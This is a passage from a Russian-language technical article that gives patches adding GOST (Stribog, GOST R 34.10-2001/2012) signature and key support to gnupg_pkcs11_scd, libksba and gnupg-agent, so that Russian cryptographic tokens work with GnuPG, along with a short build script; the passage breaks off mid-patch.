if (sexp != NULL) {
gcry_sexp_release (sexp);
sexp = NULL;
}
return error;
}
```
Оригинальный код заключен в блок:
```
#if 0
…
#endif
```
**Полный патч для утилиты gnupg\_pkcs11\_scd находится здесь**
```
diff -u PKCS11_CSD_ORIG/command.c PKCS11_CSD/command.c
--- PKCS11_CSD_ORIG/command.c 2018-07-19 16:25:20.778692015 +0300
+++ PKCS11_CSD/command.c 2018-07-19 16:25:10.238691435 +0300
@@ -1002,6 +1002,8 @@
{ 0x30, 0x51, 0x30, 0x0d, 0x06, 0x09, 0x60, 0x86,
0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x03, 0x05,
0x00, 0x04, 0x40 };
+ CK_MECHANISM_TYPE mech_type = CKM_RSA_PKCS;
+ int pubkey_type;
gpg_err_code_t error = GPG_ERR_GENERAL;
pkcs11h_certificate_id_t cert_id = NULL;
@@ -1021,8 +1023,18 @@
INJECT_SHA224,
INJECT_SHA256,
INJECT_SHA384,
- INJECT_SHA512
+ INJECT_SHA512,
+/*For GOST*/
+ INJECT_GOSTR3411_CP,
+ INJECT_STRIBOG256,
+ INJECT_STRIBOG512
} inject = INJECT_NONE;
+#define NSSCK_VENDOR_PKCS11_RU_TEAM 0xd4321000 //0x80000000|0x54321000
+#define NSSCK_VENDOR_PKSC11_RU_TEAM NSSCK_VENDOR_PKCS11_RU_TEAM
+#define CK_VENDOR_PKCS11_RU_TEAM_TC26 NSSCK_VENDOR_PKCS11_RU_TEAM
+#define CKM_GOSTR3410 0x00001201
+// TC 26
+#define CKM_GOSTR3410_512 (CK_VENDOR_PKCS11_RU_TEAM_TC26 |0x006)
if (data->data == NULL) {
error = GPG_ERR_INV_DATA;
@@ -1107,6 +1119,16 @@
else if (!strcmp(hash, "sha512") && data->size == 0x40) {
inject = INJECT_SHA512;
}
+ else if (!strcmp(hash, "gost3411_94") || !strcmp(hash, "gost3411_CP") || !strcmp(hash, "gostr3411_94") || !strcmp(hash, "gostr3411_CP")) {
+ inject = INJECT_GOSTR3411_CP;
+ }
+ else if (!strcmp(hash, "gost3411_12_256") || !strcmp(hash, "gostr3411_12_256") || !strcasecmp(hash, "stribog256")) {
+ inject = INJECT_STRIBOG256;
+ }
+ else if (!strcmp(hash, "gost3411_12_512") || !strcmp(hash, "gostr3411_12_512") || !strcasecmp(hash, "stribog512")) {
+ inject = INJECT_STRIBOG512;
+ }
+
else {
common_log (LOG_DEBUG, "unsupported hash algo (hash=%s,size=%d)", hash, data->size);
error = GPG_ERR_UNSUPPORTED_ALGORITHM;
@@ -1169,6 +1191,23 @@
oid = sha512_prefix;
oid_size = sizeof(sha512_prefix);
break;
+/*Механизмы ГОСТ*/
+ case INJECT_GOSTR3411_CP:
+ oid = "";
+ oid_size = 0;
+ mech_type = CKM_GOSTR3410;
+ break;
+ case INJECT_STRIBOG256:
+ oid = "";
+ oid_size = 0;
+ mech_type = CKM_GOSTR3410;
+ break;
+ case INJECT_STRIBOG512:
+ oid = "";
+ oid_size = 0;
+ mech_type = CKM_GOSTR3410_512;
+ break;
+
default:
error = GPG_ERR_INV_DATA;
goto cleanup;
@@ -1232,7 +1271,7 @@
(error = common_map_pkcs11_error (
pkcs11h_certificate_signAny (
cert,
- CKM_RSA_PKCS,
+ mech_type,
_data->data,
_data->size,
NULL,
@@ -1252,7 +1291,7 @@
(error = common_map_pkcs11_error (
pkcs11h_certificate_signAny (
cert,
- CKM_RSA_PKCS,
+ mech_type,
_data->data,
_data->size,
sig,
@@ -1298,6 +1337,9 @@
return gpg_error (error);
}
+/*для ГОСТ*/
+#define CKM_GOSTR3410_KEY_WRAP 0x00001203
+
/** Decrypt data (set by SETDATA) with certificate id in line. */
gpg_error_t cmd_pkdecrypt (assuan_context_t ctx, char *line)
{
@@ -1309,6 +1351,7 @@
int session_locked = 0;
cmd_data_t *data = (cmd_data_t *)assuan_get_pointer (ctx);
cmd_data_t _data;
+ CK_MECHANISM_TYPE mech_type;
if (
data == NULL ||
@@ -1317,6 +1360,13 @@
error = GPG_ERR_INV_DATA;
goto cleanup;
}
+ if(memmem(data->data, data->size,"\x2A\x85\x03", 3)){
+/*Если ГОСТ*/
+ mech_type = CKM_GOSTR3410_KEY_WRAP;
+ }
+ else{
+ mech_type = CKM_RSA_PKCS;
+ }
/*
* Guess.. taken from openpgp card implementation
@@ -1376,7 +1426,7 @@
(error = common_map_pkcs11_error (
pkcs11h_certificate_decryptAny (
cert,
- CKM_RSA_PKCS,
+ mech_type,
_data.data,
_data.size,
NULL,
@@ -1396,7 +1446,7 @@
(error = common_map_pkcs11_error (
pkcs11h_certificate_decryptAny (
cert,
- CKM_RSA_PKCS,
+ mech_type,
_data.data,
_data.size,
ptext,
@@ -1591,6 +1641,29 @@
goto cleanup;
}
}
+ else if (!strcmp (line, "APPTYPE")) {
+ if (
+ (error = assuan_write_status(
+ ctx,
+ "APPTYPE",
+ "NKS"
+ )) != GPG_ERR_NO_ERROR
+ ) {
+ goto cleanup;
+ }
+ }
+ else if (!strcmp (line, "NKS-VERSION")) {
+ if (
+ (error = assuan_write_status(
+ ctx,
+ "NKS-VERSION",
+ "3"
+ )) != GPG_ERR_NO_ERROR
+ ) {
+ goto cleanup;
+ }
+ }
+
else if (!strcmp (line, "KEY-ATTR")) {
int i;
for (i=0;i<3;i++) {
diff -u PKCS11_CSD_ORIG/keyutil.c PKCS11_CSD/keyutil.c
--- PKCS11_CSD_ORIG/keyutil.c 2018-07-19 16:25:20.779692015 +0300
+++ PKCS11_CSD/keyutil.c 2018-07-19 16:51:48.934779338 +0300
@@ -45,6 +45,7 @@
typedef const unsigned char *my_openssl_d2i_t;
#endif
#endif
+#include
gpg\_err\_code\_t
keyutil\_get\_cert\_mpi (
@@ -193,10 +194,10 @@
return error;
}
-/\*\*
- Convert X.509 RSA public key into gcrypt internal sexp form. Only RSA
- public keys are accepted at the moment. The resul is stored in \*sexp,
- which must be freed (using ) when not needed anymore. \*sexp must be
+
+/\*
+ Convert X.509 RSA/ECC/DSA/GOST public key into gcrypt internal sexp form. The resul is stored
+ in \*sexp, which must be freed (using ) when not needed anymore. \*sexp must be
NULL on entry, since it is overwritten.
\*/
gpg\_err\_code\_t
@@ -210,6 +211,40 @@
gcry\_mpi\_t e\_mpi = NULL;
gcry\_sexp\_t sexp = NULL;
+ gpg\_error\_t err;
+ ksba\_sexp\_t p;
+ ksba\_cert\_t ks\_cert;
+ size\_t n;
+
+ err = ksba\_cert\_new (&ks\_cert);
+ if (err) {
+ error = GPG\_ERR\_BAD\_KEY;
+ goto cleanup;
+ }
+ err = ksba\_cert\_init\_from\_mem (ks\_cert, der, len);
+ if (err) {
+ error = GPG\_ERR\_BAD\_KEY;
+ goto cleanup;
+ }
+ /\* Get the public key from the certificate. \*/
+ p = ksba\_cert\_get\_public\_key (ks\_cert);
+ n = gcry\_sexp\_canon\_len (p, 0, NULL, NULL);
+ if (!n)
+ {
+ ksba\_free (p);
+ error = GPG\_ERR\_BAD\_KEY;
+ goto cleanup;
+ }
+ err = gcry\_sexp\_sscan ( p\_sexp, NULL, p, n);
+ if (err) {
+ error = GPG\_ERR\_BAD\_KEY;
+ goto cleanup;
+ }
+ ksba\_free (p);
+ error = GPG\_ERR\_NO\_ERROR;
+ goto cleanup;
+#if 0
+
if (
(error = keyutil\_get\_cert\_mpi (
der,
@@ -237,6 +272,7 @@
\*p\_sexp = sexp;
sexp = NULL;
error = GPG\_ERR\_NO\_ERROR;
+#endif
cleanup:
```
С учетом этого патча для сборки утилиты gnupg\_pkcs11\_scd используется следующий скрипт:
```
export LIBS=" -lksba"
#./configure --without-gnutls
./configure --without-openssl
make
```
Этот патч в итоге позволит использовать ГОСТ-токены (в том числе сертифицированные ФСБ России), по крайней мере, для формирования электронной подписи.
Не будем останавливаться на [доработках](https://habr.com/post/415611/) библиотеки libksba, а просто приведем **полный патч для libksba**
```
diff -u KSBA_ORIG/cms.c KSBA/cms.c
--- KSBA_ORIG/cms.c 2013-03-15 23:26:38.000000000 +0400
+++ KSBA/cms.c 2018-07-19 08:24:48.774106713 +0300
@@ -1581,6 +1581,15 @@
Note that IDX is only used for consistency checks.
*/
+/* For GOST
+ r_sig = (sig-val
+ (gost
+ (r )
+ (s )
+ )
+ (hash ))
+\*/
+
gpg\_error\_t
ksba\_cms\_set\_sig\_val (ksba\_cms\_t cms, int idx, ksba\_const\_sexp\_t sigval)
{
@@ -1588,6 +1597,7 @@
unsigned long n;
struct sig\_val\_s \*sv, \*\*sv\_tail;
int i;
+ int gost;
if (!cms)
return gpg\_error (GPG\_ERR\_INV\_VALUE);
@@ -1615,6 +1625,11 @@
/\* Break out the algorithm ID. \*/
if (!(n = snext (&s)))
return gpg\_error (GPG\_ERR\_INV\_SEXP);
+ gost = 0;
+ if (n==4 && s[0] == 'g' && s[1] == 'o' && s[2] == 's' && s[3] == 't') {
+ /\* kludge to allow "gost" to be passed as algorithm name \*/
+ gost = 1;
+ }
sv = xtrycalloc (1, sizeof \*sv);
if (!sv)
@@ -1680,6 +1695,11 @@
s++;
n--;
}
+if(gost){
+ sv->value = xtrymalloc (n \* 2);
+}
+else
+
sv->value = xtrymalloc (n);
if (!sv->value)
{
@@ -1687,6 +1707,11 @@
xfree (sv);
return gpg\_error (GPG\_ERR\_ENOMEM);
}
+/\*r и s в подписи меняем местами - ТК-26\*/
+if(gost == 1)
+ memcpy (sv->value + n, s, n);
+else
+
memcpy (sv->value, s, n);
sv->valuelen = n;
s += n;
@@ -1698,6 +1723,84 @@
return gpg\_error (GPG\_ERR\_UNKNOWN\_SEXP); /\* but may also be an invalid one \*/
}
s++;
+if(gost == 1){
+ unsigned char sh[30];
+
+ if (\*s != '(')
+ {
+ xfree (sv->algo);
+ xfree (sv);
+ return gpg\_error (digitp (s)? GPG\_ERR\_UNKNOWN\_SEXP : GPG\_ERR\_INV\_SEXP);
+ }
+ s++;
+ if (!(n = snext (&s)))
+ {
+ xfree (sv->algo);
+ xfree (sv);
+ return gpg\_error (GPG\_ERR\_INV\_SEXP);
+ }
+
+ s += n; /\* ignore the name of the parameter \*/
+
+ if (!digitp(s))
+ {
+ xfree (sv->algo);
+ xfree (sv);
+ /\* May also be an invalid S-EXP. \*/
+ return gpg\_error (GPG\_ERR\_UNKNOWN\_SEXP);
+ }
+ if (!(n = snext (&s)))
+ {
+ xfree (sv->algo);
+ xfree (sv);
+ return gpg\_error (GPG\_ERR\_INV\_SEXP);
+ }
+
+ if (n > 1 && !\*s)
+ { /\* We might have a leading zero due to the way we encode
+ MPIs - this zero should not go into the OCTECT STRING. \*/
+ s++;
+ n--;
+ }
+/\*r и s в подписи меняем местами - ТК-26\*/
+ memcpy (sv->value, s, n);
+ sv->valuelen += n;
+ s += n;
+
+ if ( \*s != ')' && s[1] != ')' && s[2] != '(' )
+ {
+ xfree (sv->value);
+ xfree (sv->algo);
+ xfree (sv);
+ return gpg\_error (GPG\_ERR\_UNKNOWN\_SEXP); /\* but may also be an invalid one \*/
+ }
+ s++;s++;s++;
+ if (!(n = snext (&s)))
+ {
+ xfree (sv->algo);
+ xfree (sv);
+ return gpg\_error (GPG\_ERR\_INV\_SEXP);
+ }
+ s += n;
+ if (!(n = snext (&s)))
+ {
+ xfree (sv->algo);
+ xfree (sv);
+ return gpg\_error (GPG\_ERR\_INV\_SEXP);
+ }
+ strncpy(sh, s, n);
+ if(!strcmp(sh, "1.2.643.7.1.1.2.2") || !strcasecmp(sh, "stribog256"))
+ sv->algo = xtrystrdup ("1.2.643.7.1.1.1.1");
+ else if(!strcmp(sh, "1.2.643.7.1.1.2.3") || !strcasecmp(sh, "stribog512"))
+ sv->algo = xtrystrdup ("1.2.643.7.1.1.1.2");
+ else if(!strcmp(sh, "1.2.643.2.2.9") || !strcasecmp(sh, "gostr3411\_CP"))
+ sv->algo = xtrystrdup ("1.2.643.2.2.19");
+ else {
+ return gpg\_error (GPG\_ERR\_UNSUPPORTED\_ALGORITHM);
+ }
+ s += n;
+
+}
/\* fixme: end loop over parameters \*/
/\* we need 2 closing parenthesis \*/
diff -u KSBA\_ORIG/dn.c KSBA/dn.c
--- KSBA\_ORIG/dn.c 2016-08-22 11:40:58.000000000 +0300
+++ KSBA/dn.c 2018-06-26 19:24:32.000000000 +0300
@@ -48,6 +48,7 @@
2 = David Chadwick, July 2003
3 = Peter Gutmann
+ 4 = tk26
\*/
const char \*description;
size\_t oidlen;
@@ -74,12 +75,17 @@
"\x09\x92\x26\x89\x93\xF2\x2C\x64\x01\x19", "0.9.2342.19200300.100.1.25" },
{"UID", 1, "userid", 10,
"\x09\x92\x26\x89\x93\xF2\x2C\x64\x01\x01", "0.9.2342.19200300.100.1.1 " },
-{"EMAIL", 3, "emailAddress", 9,
+{"E", 1, "emailAddress", 9,
"\x2A\x86\x48\x86\xF7\x0D\x01\x09\x01", "1.2.840.113549.1.9.1" },
+/\*oid-ы квалифицированного сертификата от TK-26\*/
+{"OGRN", 4, "OGRN", 5, "\x2a\x85\x03\x64\x01", "1.2.643.100.1" },
+{"INN", 4, "INN", 8, "\x2a\x85\x03\x03\x81\x03\x01\x01", "1.2.643.3.131.1.1" },
+{"SNILS", 4, "SNILS", 5, "\x2a\x85\x03\x64\x03", "1.2.643.100.3" },
+{"OGRNIP", 4, "OGRNIP", 5, "\x2a\x85\x03\x64\x05", "1.2.643.100.5" },
+
{ NULL }
};
-
#define N 0x00
#define P 0x01
static unsigned char charclasses[128] = {
@@ -555,8 +561,8 @@
name = NULL;
for (i=0; oid\_name\_tbl[i].name; i++)
{
- if (oid\_name\_tbl[i].source == 1
- && node->len == oid\_name\_tbl[i].oidlen
+/\*Все oid-ы из DN переводим в текстовую форму\*/
+ if (node->len == oid\_name\_tbl[i].oidlen
&& !memcmp (image+node->off+node->nhdr,
oid\_name\_tbl[i].oid, node->len))
{
@@ -604,6 +610,9 @@
case TYPE\_UTF8\_STRING:
append\_utf8\_value (image+node->off+node->nhdr, node->len, sb);
break;
+/\*Добавляем обработку NUMERIC\_STRING\*/
+ case TYPE\_NUMERIC\_STRING:
+
case TYPE\_PRINTABLE\_STRING:
case TYPE\_IA5\_STRING:
/\* we assume that wrong encodings are latin-1 \*/
diff -u KSBA\_ORIG/keyinfo.c KSBA/keyinfo.c
--- KSBA\_ORIG/keyinfo.c 2015-10-28 13:41:48.000000000 +0300
+++ KSBA/keyinfo.c 2018-07-19 09:03:27.936234230 +0300
@@ -45,7 +45,6 @@
#include "convert.h"
#include "ber-help.h"
-
/\* Constants used for the public key algorithms. \*/
typedef enum
{
@@ -98,6 +97,19 @@
"1.2.840.10045.2.1", /\* ecPublicKey \*/
"\x2a\x86\x48\xce\x3d\x02\x01", 7,
1, PKALGO\_ECC, "ecc", "q", "\x80" },
+/\*oid-ы ГОСТ-овых ключей\*/
+ { /\* GOST3410-2001 \*/
+ "1.2.643.2.2.19", /\* gostPublicKey-2001 \*/
+ "\x2a\x85\x03\x02\x02\x13", 6,
+ 1, PKALGO\_ECC, "ecc", "q", "\x80" },
+ { /\* GOST3410-2012-256 \*/
+ "1.2.643.7.1.1.1.1", /\* gostPublicKey-2012-256 \*/
+ "\x2a\x85\x03\x07\x01\x01\x01\x01", 8,
+ 1, PKALGO\_ECC, "ecc", "q", "\x80" },
+ { /\* GOST3410-2012-512 \*/
+ "1.2.643.7.1.1.1.2", /\* gostPublicKey-2012-512 \*/
+ "\x2a\x85\x03\x07\x01\x01\x01\x02", 8,
+ 1, PKALGO\_ECC, "ecc", "q", "\x80" },
{NULL}
};
@@ -209,6 +221,31 @@
"1.3.36.3.4.3.2.2", /\* sigS\_ISO9796-2rndWithrsa\_ripemd160 \*/
"\x2B\x24\x03\x04\x03\x02\x02", 7,
0, PKALGO\_RSA, "rsa", "s", "\x82", NULL, NULL, "rmd160" },
+ { /\* GOST3410-2001 \*/
+ "1.2.643.2.2.19", /\* gostPublicKey-2001 \*/
+ "\x2a\x85\x03\x02\x02\x13", 6,
+ 1, PKALGO\_ECC, "gost", "s", "\x80", NULL, NULL, "gostr3411\_CP" },
+ { /\* GOST3410-2012-256 \*/
+ "1.2.643.7.1.1.1.1", /\* gostPublicKey-2012-256 \*/
+ "\x2a\x85\x03\x07\x01\x01\x01\x01", 8,
+ 1, PKALGO\_ECC, "gost", "s", "\x80", NULL, NULL, "stribog256"},
+ { /\* GOST3410-2012-512 \*/
+ "1.2.643.7.1.1.1.2", /\* gostPublicKey-2012-512 \*/
+ "\x2a\x85\x03\x07\x01\x01\x01\x02", 8,
+ 1, PKALGO\_ECC, "gost", "s", "\x80", NULL, NULL, "stribog512"},
+
+ { /\* GOST3411-2012-256 \*/
+ "1.2.643.7.1.1.3.2", /\* STRIBOG256 \*/
+ "\x2a\x85\x03\x07\x01\x01\x03\x02", 8,
+ 1, PKALGO\_ECC, "gost", "s", "\x80", NULL, NULL, "stribog256" },
+ { /\* GOST3411-2012-512 \*/
+ "1.2.643.7.1.1.3.3", /\* STRIBOG512 \*/
+ "\x2a\x85\x03\x07\x01\x01\x03\x03", 8,
+ 1, PKALGO\_ECC, "gost", "s", "\x80", NULL, NULL, "stribog512" },
+ { /\* GOST3410-2001-Signature \*/
+ "1.2.643.2.2.3", /\* gosrPublicKey-2001 avec signature \*/
+ "\x2a\x85\x03\x02\x02\x03", 6,
+ 1, PKALGO\_ECC, "gost", "s", "\x80", NULL, NULL, "gostr3411\_CP" },
{NULL}
};
@@ -218,6 +255,20 @@
"1.2.840.113549.1.1.1", /\* rsaEncryption (RSAES-PKCA1-v1.5) \*/
"\x2A\x86\x48\x86\xF7\x0D\x01\x01\x01", 9,
1, PKALGO\_RSA, "rsa", "a", "\x82" },
+/\*oid-ы ГОСТ-ых ключей для ассиметричного шифрования\*/
+ {
+ "1.2.643.2.2.19", /\*GOST R34.10-2001 \*/
+ "\x2A\x85\x03\x02\x02\x13", 6,
+ 1, PKALGO\_ECC, "ecc", "a", "\x80" },
+ {
+ "1.2.643.7.1.1.1.1", /\*GOST R34.10-2012-256 \*/
+ "\x2A\x85\x03\x07\x01\x01\x01\x01", 8,
+ 1, PKALGO\_ECC, "ecc", "a", "\x80" },
+ {
+ "1.2.643.7.1.1.1.2", /\*GOST R34.10-2012-512 \*/
+ "\x2A\x85\x03\x07\x01\x01\x01\x02", 8,
+ 1, PKALGO\_ECC, "ecc", "a", "\x80" },
+
{NULL}
};
@@ -267,6 +318,13 @@
{ "1.2.643.2.2.35.1", "GOST2001-CryptoPro-A" },
{ "1.2.643.2.2.35.2", "GOST2001-CryptoPro-B" },
{ "1.2.643.2.2.35.3", "GOST2001-CryptoPro-C" },
+/\*дополнительные oid-ы точек эллиптической кривой для ГОСТ Р 34.10-2001/2012\*/
+// "GOST2001-CryptoPro-XchA"
+ { "1.2.643.2.2.36.0", "GOST2001-CryptoPro-A" },
+// "GOST2001-CryptoPro-XchB"
+ { "1.2.643.2.2.36.1", "GOST2001-CryptoPro-C" },
+
+
{ "1.2.643.7.1.2.1.2.1", "GOST2012-tc26-A" },
{ "1.2.643.7.1.2.1.2.2", "GOST2012-tc26-B" },
@@ -393,7 +451,8 @@
/\* get the object identifier \*/
if (!derlen)
return gpg\_error (GPG\_ERR\_INV\_KEYINFO);
- c = \*der++; derlen--;
+ c = \*der++;
+ derlen--;
if ( c != 0x06 )
return gpg\_error (GPG\_ERR\_UNEXPECTED\_TAG); /\* not an OBJECT IDENTIFIER \*/
TLV\_LENGTH(der);
@@ -418,6 +477,7 @@
if (!derlen)
return gpg\_error (GPG\_ERR\_INV\_KEYINFO);
c = \*der++; derlen--;
+
if ( c == 0x05 )
{
/\*printf ("parameter: NULL \n"); the usual case \*/
@@ -471,6 +531,7 @@
else
{
/\* printf ("parameter: with tag %02x - ignored\n", c); \*/
+
TLV\_LENGTH(der);
seqlen -= der - startparm;
/\* skip the value \*/
@@ -692,6 +753,8 @@
const unsigned char \*ctrl;
const char \*elem;
struct stringbuf sb;
+ int gost\_key;
+ char \*parm\_oid\_hash = NULL;
\*r\_string = NULL;
@@ -701,6 +764,7 @@
c = \*der++; derlen--;
if ( c != 0x30 )
return gpg\_error (GPG\_ERR\_UNEXPECTED\_TAG); /\* not a SEQUENCE \*/
+
TLV\_LENGTH(der);
/\* and now the inner part \*/
err = get\_algorithm (1, der, derlen, &nread, &off, &len, &is\_bitstr,
@@ -715,13 +779,36 @@
&& !memcmp (der+off, pk\_algo\_table[algoidx].oid, len))
break;
}
+
if (!pk\_algo\_table[algoidx].oid)
return gpg\_error (GPG\_ERR\_UNKNOWN\_ALGORITHM);
if (!pk\_algo\_table[algoidx].supported)
return gpg\_error (GPG\_ERR\_UNSUPPORTED\_ALGORITHM);
+/\*Определяем тип ключа 1 - ГОСТ-овый ключ\*/
+ gost\_key = !memcmp(pk\_algo\_table[algoidx].oidstring, "1.2.643", 7);
if (parm\_off && parm\_len && parm\_type == TYPE\_OBJECT\_ID)
parm\_oid = ksba\_oid\_to\_str (der+parm\_off, parm\_len);
+ else
+/\*Извлекаем параметры ГОСТ-ового ключа\*/
+ if (parm\_off && parm\_len && parm\_type == TYPE\_SEQUENCE && gost\_key && (\*(der+parm\_off + off - 2) == TYPE\_OBJECT\_ID)){
+/\*Вытаскиваем oid curve для ГОСТ-ключа\*/
+ int len\_hash;
+ int len\_curve;
+ unsigned char\* addr\_hash;
+ unsigned char\* addr\_curve;
+ len\_curve = (int) \*(der+parm\_off + off -1);
+ addr\_curve = der+parm\_off + off;
+ parm\_oid = ksba\_oid\_to\_str (addr\_curve, len\_curve);
+/\*Вытаскиваем oid хэша для ГОСТ-ключа\*/
+ if( \*(addr\_curve + len\_curve)== TYPE\_OBJECT\_ID) {
+ len\_hash = (unsigned int) \*(der+parm\_off + off + len\_curve + 1);
+ addr\_hash = addr\_curve + len\_curve + 2;
+ parm\_oid\_hash = ksba\_oid\_to\_str (addr\_hash, len\_hash);
+ }
+/\*Вытаскиваем oid алгоритма шифрования для ГОСТ-ключа\*/
+ }
+
else if (parm\_off && parm\_len)
{
parmder = der + parm\_off;
@@ -762,6 +849,13 @@
put\_stringbuf\_sexp (&sb, "curve");
put\_stringbuf\_sexp (&sb, parm\_oid);
put\_stringbuf (&sb, ")");
+/\*Устанавливаем oid-хэша для ГОСТ-ового ключа\*/
+ if(gost\_key && parm\_oid\_hash) {
+ put\_stringbuf (&sb, "(");
+ put\_stringbuf\_sexp (&sb, "hash");
+ put\_stringbuf\_sexp (&sb, parm\_oid\_hash);
+ put\_stringbuf (&sb, ")");
+ }
}
/\* If parameters are given and we have a description for them, parse
@@ -851,6 +945,43 @@
put\_stringbuf (&sb, "(");
tmp[0] = \*elem; tmp[1] = 0;
put\_stringbuf\_sexp (&sb, tmp);
+/\*Извлечение значения открытого ключа в соответствии с рекомендациями TK-26\*/
+ if(gost\_key){
+ unsigned char pk[129];
+ unsigned char \*x;
+ unsigned char \*y;
+ int len\_pk;
+ int len\_xy;
+ int i;
+ unsigned char c\_inv;
+ int offset;
+ pk[0] = 0x04;
+ if(len == 131 || len == 66){
+ offset = 0;
+ if(der[0] == 0x04 && der[1] & 0x80)
+ offset = 3;
+ else if(der[0] == 0x04 && der[1] & 0x40)
+ offset = 2;
+ len\_pk = len - offset;
+ memcpy(&pk[1], der + offset, len\_pk);
+ x = &pk[1];
+ len\_xy = len\_pk / 2;
+ y = x + len\_xy;
+/\*REVERT-INVERTIROVANIE\*/
+ for (i = 0; i < (len\_xy/2); i++) {
+ c\_inv = \*(x + i);
+ \*(x + i) = \*(x + len\_xy - i - 1);
+ \*(x + len\_xy - i - 1) = c\_inv;
+ }
+ for (i = 0; i < (len\_xy/2); i++) {
+ c\_inv = y[i];
+ y[i] = y[len\_xy - i -1];
+ y[len\_xy - i - 1] = c\_inv;
+ }
+ put\_stringbuf\_mem\_sexp (&sb, pk , len\_pk + 1);
+ }
+ } else
+
put\_stringbuf\_mem\_sexp (&sb, der, len);
der += len;
derlen -= len;
@@ -1606,6 +1737,7 @@
const unsigned char \*ctrl;
const char \*elem;
struct stringbuf sb;
+ int gost\_sign;
/\* FIXME: The entire function is very similar to keyinfo\_to\_sexp \*/
\*r\_string = NULL;
@@ -1615,7 +1747,6 @@
else
algo\_table = enc\_algo\_table;
-
err = get\_algorithm (1, der, derlen, &nread, &off, &len, &is\_bitstr,
NULL, NULL, NULL);
if (err)
@@ -1628,11 +1759,16 @@
&& !memcmp (der+off, algo\_table[algoidx].oid, len))
break;
}
+
if (!algo\_table[algoidx].oid)
return gpg\_error (GPG\_ERR\_UNKNOWN\_ALGORITHM);
+
if (!algo\_table[algoidx].supported)
return gpg\_error (GPG\_ERR\_UNSUPPORTED\_ALGORITHM);
+/\*Определяем тип подписи по oid-у\*/
+ gost\_sign = !memcmp(algo\_table[algoidx].oidstring, "1.2.643", 7);
+
der += nread;
derlen -= nread;
@@ -1682,8 +1818,21 @@
put\_stringbuf (&sb, "(");
tmp[0] = \*elem; tmp[1] = 0;
+/\*Если ЭП по ГОСТ, то r находится справа, а s находится слева \*/
+ if(gost\_sign == 1 && algo\_table == sig\_algo\_table){
+ put\_stringbuf\_sexp (&sb, "r");
+ put\_stringbuf\_mem\_sexp (&sb, der+(len/2), len/2);
+ put\_stringbuf (&sb, ")");
+ put\_stringbuf (&sb, "(");
+ put\_stringbuf\_sexp (&sb, "s");
+ put\_stringbuf\_mem\_sexp (&sb, der, len/2);
+ }
+ else{
+
put\_stringbuf\_sexp (&sb, tmp);
put\_stringbuf\_mem\_sexp (&sb, der, len);
+ }
+
der += len;
derlen -= len;
put\_stringbuf (&sb, ")");
```
Имеющиеся комментарии позволяют понять логику вносимых изменений, которая в первую очередь определяется рекомендациями [ТК-26](https://www.tk26.ru).
Осталось внести изменения в модули gnupg-agent (каталог agent) и модуль gpgsm (каталог sm).
**Патч для модуля gnupg-agent находится здесь**
```
diff -u AGENT_ORIG/call-scd.c AGENT/call-scd.c
--- AGENT_ORIG/call-scd.c 2017-05-15 15:13:22.000000000 +0300
+++ AGENT/call-scd.c 2018-07-19 09:27:36.904313900 +0300
@@ -806,6 +806,14 @@
case GCRY_MD_SHA256: return "--hash=sha256";
case GCRY_MD_SHA384: return "--hash=sha384";
case GCRY_MD_SHA512: return "--hash=sha512";
+/*ГОСТ Р 34.11-2001/2012*/
+ case GCRY_MD_STRIBOG512:
+ return "--hash=stribog512";
+ case GCRY_MD_STRIBOG256:
+ return "--hash=stribog256";
+ case GCRY_MD_GOSTR3411_CP:
+ return "--hash=gostr3411_CP";
+
default: return "";
}
}
@@ -884,6 +892,7 @@
else
snprintf (line, sizeof line, "PKSIGN %s %s",
hash_algo_option (mdalgo), keyid);
+
rc = assuan_transact (ctrl->scd_local->ctx, line,
put_membuf_cb, &data,
inq_needpin, &inqparm,
@@ -901,6 +910,7 @@
}
*r_buf = get_membuf (&data, r_buflen);
+
return unlock_scd (ctrl, 0);
}
diff -u AGENT_ORIG/divert-scd.c AGENT/divert-scd.c
--- AGENT_ORIG/divert-scd.c 2017-04-03 18:13:56.000000000 +0300
+++ AGENT/divert-scd.c 2018-07-19 09:29:03.896318684 +0300
@@ -160,6 +160,17 @@
log_error ("no object identifier for algo %d\n", algo);
return gpg_error (GPG_ERR_INTERNAL);
}
+/*ГОСТ-алгоритмы*/
+ switch(algo) {
+ case GCRY_MD_STRIBOG512:
+ case GCRY_MD_STRIBOG256:
+ case GCRY_MD_GOSTR3411_CP:
+ case GCRY_MD_GOSTR3411_94:
+ asnlen = 0;
+ break;
+ default :
+ break;
+ }
frame = xtrymalloc (asnlen + digestlen);
if (!frame)
@@ -423,6 +434,7 @@
(void)desc_text;
rc = ask_for_card (ctrl, shadow_info, &kid);
+
if (rc)
return rc;
@@ -498,7 +510,7 @@
n = snext (&s);
if (!n)
return gpg_error (GPG_ERR_INV_SEXP);
- if (smatch (&s, n, "rsa"))
+ if (smatch (&s, n, "rsa") || smatch (&s, n, "ecc"))
{
if (*s != '(')
return gpg_error (GPG_ERR_UNKNOWN_SEXP);
diff -u AGENT_ORIG/pksign.c AGENT/pksign.c
--- AGENT_ORIG/pksign.c 2017-05-15 15:13:22.000000000 +0300
+++ AGENT/pksign.c 2018-07-19 09:30:28.771323350 +0300
@@ -328,6 +328,7 @@
int is_RSA = 0;
int is_ECDSA = 0;
int is_EdDSA = 0;
+ int is_ECGOST = 0;
rc = agent_public_key_from_file (ctrl, ctrl->keygrip, &s_pkey);
if (rc)
@@ -345,6 +346,21 @@
is_RSA = 1;
else if (key_type == GCRY_PK_ECDSA)
is_ECDSA = 1;
+/*Проверка ГОСТ-алгоритма*/
+ if (is_ECDSA) {
+ switch(ctrl->digest.algo)
+ {
+ case GCRY_MD_STRIBOG512:
+ case GCRY_MD_STRIBOG256:
+ case GCRY_MD_GOSTR3411_CP:
+ case GCRY_MD_GOSTR3411_94:
+ is_ECGOST = 1;
+ break;
+ default :
+ is_ECGOST = 0;
+ break;
+ }
+ }
}
{
@@ -361,7 +377,7 @@
}
if (rc)
{
- log_error ("smartcard signing failed: %s\n", gpg_strerror (rc));
+ log_error ("agent_pksign_do: smartcard signing failed: %s\n", gpg_strerror (rc));
goto leave;
}
@@ -396,7 +412,8 @@
r_buflen = s_buflen = len/2;
- if (*buf & 0x80)
+ if ((*buf & 0x80) && !is_ECGOST)
+
{
r_buflen++;
r_buf_allocated = xtrymalloc (r_buflen);
@@ -409,8 +426,8 @@
}
else
r_buf = buf;
+ if ((*(buf + len/2) & 0x80) && !is_ECGOST)
- if (*(buf + len/2) & 0x80)
{
s_buflen++;
s_buf_allocated = xtrymalloc (s_buflen);
@@ -427,6 +444,15 @@
else
s_buf = buf + len/2;
+ if(is_ECGOST){
+ rc = gcry_sexp_build (&s_sig, NULL, "(sig-val(gost(r%b)(s%b))(hash %s))",
